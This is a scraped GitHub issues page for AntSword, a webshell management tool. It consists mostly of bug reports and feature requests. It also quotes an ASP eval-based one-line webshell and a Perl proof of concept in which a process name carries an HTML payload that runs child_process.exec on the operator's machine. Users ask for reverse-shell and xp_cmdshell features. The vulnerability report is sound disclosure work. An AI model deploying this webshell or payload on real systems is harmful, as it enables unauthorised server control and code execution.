antswordproject / antsword Goto Github PK
View Code? Open in Web Editor NEW**蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
Home Page: https://www.yuque.com/antswordproject/antsword
License: MIT License
**蚁剑是一款跨平台的开源网站管理工具。AntSword is a cross-platform website management toolkit.
Home Page: https://www.yuque.com/antswordproject/antsword
License: MIT License
ERROR:// java.io.IOException: Cannot run program "d": CreateProcess error=2, ϵͳÕҲ»µ½ָ¶
access.js
里面原本使用的arg2实际上是空的值,这里我参照菜刀的配置文件改为SI="[ADO DATABASE]"&chr(9)
后可正常。filemanager.js
中的wget
所使用的Microsoft.XMLHTTP
并不支持https,这里我改用MSXML2.ServerXmlHttp
正常。C:/wwwroot/www.test.com/1.asp
,而filemanager.js
中的retime
使用的是\\
来分割路径。filemanager\index.js
,然后功能正常。 this.files.cell.progressOn();
let path = this.path;
if (this.isWin) {
path = path.replace(/\//g, '\\')
}
// http request
this.core.request(
this.core.filemanager.retime({
// path: this.path + name,
path: path + name,
time: value
})
linux下上传文件功能乱码,请修改
source/modules/filemanager/index.js:635
在数据库模块操作方面希望能更人性化,添加配置后能有修改配置功能,数据库有快捷获取数据记录数、新建表、重命名等功能,数据查询后导出功能。
1、加个菜刀那种setp 设置cmd路径的,防止asp没system32下面 cmd权限;
2、可以加个需要先post之类请求的那种,如菜刀中的http://localhost/login.phpuser=a&pass=b,这样可以避免每次都要弄cookie;
3、菜刀中有个可配置项type=xxx&list 添加额外附加提交的数据,菜刀readme介绍为
如ASP的新服务端是这样的: <% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("SC")) o.run "ff",Server,Response,Request,Application,Session,Error %> 那么,菜刀在配置处填入: <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O> 然后以密码pass来连接即可。
btw,2.0什么时候能够出个测试版,之前说6月6号可能出,等了好长时间还是没看到。只好自己改了改1.3的
环境构造:
利用代码如下:
test.pl
$0="<img src=1 onerror=\"require('child_process').exec('touch /tmp/kindle')\">";
sleep 100
执行perl test.pl
黑客操作:
打开shell的虚拟终端,ps aux。。。
然后看到本机生成如下文件/tmp/kindle
危害:可控制黑客电脑
1.shell密码隐藏很不方便
2.连接数据库查询的时候,不能把查询的数据复制下来
3.数据库配置了之后不能更改配置,有时候编码没有选对,又只有重新配置..
4.我觉得编码可以不用选了,程序直接就请求几次,不能连就算了,手动选好麻烦啊
5.还有就是上传文件到服务器的时候,感觉只要文件名就是了,文件名加路径还得改一次,这只是我个人的感觉
6.执行命令的时候不能反弹shell,但是菜刀就能弹出去,不知道是什么原因
7.执行sql命令的时候,返回的消息尽量的多一些,update每次都是查询无结果。。。。应该加上判断成功什么的
目标环境
ASPX + SQL Server
获取数据库表的字段时无发出Request请求,无获取字段。双击只有INFO 信息. 对于获取数据库,表都正常。
[2017-11-19 16:26:58.441] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }
[2017-11-19 16:26:58.625] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }
[2017-11-19 16:26:58.646] [INFO] Database - getDatConf { _id: 'xxxxxxxxxxxx', id: 'xxxxxxxxxxxx' }
版本
antSword 1.3.0-dev
在一个可上传的文件夹下,蚁剑会提示无法上传,通过**菜刀测试可以上传,shell为php一句话
#3
在增删改时候依旧会触发
如果文件中包涵 |<-
会在此处截断,导致显示不完整,截断算法间歇性有 Bug。
如题
加载器选择工作目录之后自动下载并解压,会报错,不能正常启动。
我看了一下下载的是master分支上面的源码。
于是git clone源码之后,checkout到v2.0-beta,重新设置目录。
之后软件可以正常启动。
感觉应该是下载 https://github.com/antoor/antSword/archive/v2.0-beta.zip 并解压才对
对于证书过期的站点,无法连接上一句话。能否忽略证书验证?
filemanager\index.js
640行
const fileName = f.substr(f.lastIndexOf('/') + 1);
改为
const fileName = f.substr(f.lastIndexOf('\\') + 1);
664行也是一样将\
改为//
,然后可以正常上传了。
因为获取到的路径是C:\\Users\\test\\Documents\\\xb0\xb2\xd7\xb0\xcb\xb5\xc3\xf7.txt
,用/
截取不到。
执行 ps -aef
会导致 UI 出现 bug
➜ antSword (master) ✗ npm run build
[email protected] build /home/chu/Pentest/antSword
webpack --progress --color --watch
/home/chu/Pentest/antSword/webpack.config.js:3
const webpack = require('webpack');
^^^^^
SyntaxError: Use of const in strict mode.
at Module._compile (module.js:439:25)
at Object.Module._extensions..js (module.js:474:10)
at Module.load (module.js:356:32)
at Function.Module._load (module.js:312:12)
at Module.require (module.js:364:17)
at require (module.js:380:17)
at module.exports (/usr/local/lib/node_modules/webpack/bin/convert-argv.js:80:13)
at Object. (/usr/local/lib/node_modules/webpack/bin/webpack.js:39:40)
at Module._compile (module.js:456:26)
at Object.Module._extensions..js (module.js:474:10)
npm ERR! [email protected] build: webpack --progress --color --watch
npm ERR! Exit status 8
npm ERR!
npm ERR! Failed at the [email protected] build script.
npm ERR! This is most likely a problem with the antsword package,
npm ERR! not with npm itself.
npm ERR! Tell the author that this fails on your system:
npm ERR! webpack --progress --color --watch
npm ERR! You can get their info via:
npm ERR! npm owner ls antsword
npm ERR! There is likely additional logging output above.
npm ERR! System Linux 4.2.0-30-generic
npm ERR! command "/usr/bin/nodejs" "/usr/bin/npm" "run" "build"
npm ERR! cwd /home/chu/Pentest/antSword
npm ERR! node -v v0.10.25
npm ERR! npm -v 1.4.21
npm ERR! code ELIFECYCLE
npm WARN This failure might be due to the use of legacy binary "node"
npm WARN For further explanations, please read
/usr/share/doc/nodejs/README.Debian
npm ERR!
npm ERR! Additional logging details can be found in:
npm ERR! /home/chu/Pentest/antSword/npm-debug.log
npm ERR! not ok code 0
(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ netstat -an
{"code":"ECONNABORTED","timeout":5000}
(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ netstat -an > 1.txt
{"code":"ECONNABORTED","timeout":5000}
(Cond0r:/Users/Cond0r/Downloads/AntSword-darwin-x64) $ cat 1.txt|head -n 10
{"code":"ECONNABORTED","timeout":5000}
1.数据的导出
2.不同数据库常用命令的模板功能,例如根据不同数据库类型,把exec xp_cmdshell ‘’之类的语句放到一个模板文件里,在命令窗口那添加一个下拉框,选中后自动填入命令框。
3.命令框的命令执行快捷键。例如输完命令后直接按Alt+Enter就能执行命令,避免多余的鼠标操作。
4.另外就是,当前会话中执行过的命令如果能像cmd那样使用上下方向键选择就更方便了。
5.虚拟终端的命令执行功能有缓存,相同的命令第二次执行时,返回结果无变化,这个功能对某些命令不太合适,例如netstat,本身需要用来查看最近的连接状态,如果存在缓存会误导用户。
PS:这个项目真的是太让人惊艳了,用户体验比其他类似项目好太多了,未来必然是人手一份的神器。2.0什么时候能发布,我已经开始学习nodejs了。
这样方便其他人贡献代码,对coding style也应该说明一下
执行命令报错提示:
ERROR:// java.io.IOException: Cannot run program "d": CreateProcess error=2, 系统找不到指定的文件。
可修改为
AntSword is a cross-platform website management toolkit.
程序最大化或者恢复正常化窗口时,里面的功能窗口全部自动关闭了。
不能连接 不安全的HTTPS站点。把证书信任忽略吧
**蚁剑是2.0开发版
在执行npm start,会报错
Uncaught Exception:
TypeError: Path must be a string. Received undefined
at assertPath (path.js:7:11)
at Object.join (path.js:1213:7)
at new Conf (/Volumes/Transcend/Downloads/antSword-2.0-beta/modules/config.js:24:26)
at Object.<anonymous> (/Volumes/Transcend/Downloads/antSword-2.0-beta/modules/config.js:91:18)
基本每周更新一个小版本(1.x.x
),遇到改动较大的时候就更一次大版本(1.x.0
),在线更新功能检测远程git仓库的版本信息是否和本地版本信息符合,如果不符合,则提示更新并下载对应的asar文件替换(在windows系统中,由于app.asar被程序占用导致无法进行像osx、linux一样更新。
而且由于目前版本还不算太稳定,各种新功能仍在快速优化更新中,所以每次用户都得检查或者下载程序包很麻烦,所以在此,重新架构程序加载以及更新功能:
重新把Electron进行设置后打包,功能很简单:加载我们特定目录的主程序app.asar包即可,然后为不同的系统打包安装程序,如windows打包msi安装包、linux打包pkg、osx打包为dmg等。。
当然,其中还可能涉及修改图标、应用信息版本等等
在linux、osx下,通过应用下载的程序版本默认放置到$HOME/.antSword/app
中,在windows下则为%root%\.antSword\app\
目录中(如果存在,否则保存到安装目录或其他指定目录。
然后依赖程序自动寻找该目录,分析出版本最高的应用,执行。(这样有利于版本回滚以及自定义等等。。
后边想到再补上。。
读取window服务器上得文件,不管设置什么编码 中文都会乱码
缺少 electron
sh: 1: electron: not found
npm ERR! file sh
npm ERR! code ELIFECYCLE
npm ERR! errno ENOENT
npm ERR! syscall spawn
npm ERR! [email protected] start: `electron app.js`
npm ERR! spawn ENOENT
手动安装 electron
切换多个版本都无法正常启动,报错如下
Uncaught Exception:
TypeError: Path must be a string. Received undefined
at assertPath (path.js:7:11)
at Object.join (path.js:1211:7)
at new Conf (ant2.0-beta/modules/config.js:24:26)
at Object.<anonymous> (ant2.0-beta/modules/config.js:90:18)
at Object.<anonymous> (ant2.0-beta/modules/config.js:92:3)
at Module._compile (module.js:571:32)
at Object.Module._extensions..js (module.js:580:10)
at Module.load (module.js:488:32)
at tryModuleLoad (module.js:447:12)
at Function.Module._load (module.js:439:3)
系统 Deepin Linux
请问哪个文件可以修改timeout时间的?
shell.db
目前处于无加密状态,保存时需要做加密处理。
这里需要考虑,支持用户使用自己的密钥加密解密?数据一旦丢了别人也没法通过蚁剑来还原。
蚁剑使用默认的菜刀一句话php shell出错,系统win10 源码编译,使用默认的配置(编码为默认),连接shell出错(不能正常操作),更改编码 base64 or hex 则正常操作。
jsp 园长修改菜刀shell 默认正常,若使用base64 or hex 则出错~~
蚁剑是个非常不错的网站管理工具,毋庸置疑~
个人使用过程发现一些小的问题,整理如下,希望对蚁剑的体验改进有所帮助
环境:mac
版本:AntSword v2.0.0
启动方式:源码启动、加载器启动、npm start都不行,老版本没问题
报错:
A JavaScript error occurred in the main process
Uncaught Exception:
TypeError: Path must be a string. Received undefined
at assertPath (path.js:7:11)
at Object.join (path.js:1213:7)
at new Conf (/Users/w/Downloads/antSword/modules/config.js:24:26)
at Object.<anonymous> (/Users/w/Downloads/antSword/modules/config.js:94:18)
at Module._compile (module.js:556:32)
at Object.Module._extensions..js (module.js:565:10)
at Module.load (module.js:473:32)
at tryModuleLoad (module.js:432:12)
at Function.Module._load (module.js:424:3)
at Module.require (module.js:483:17)
能直接把菜刀的数据库导入到**蚁剑。
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.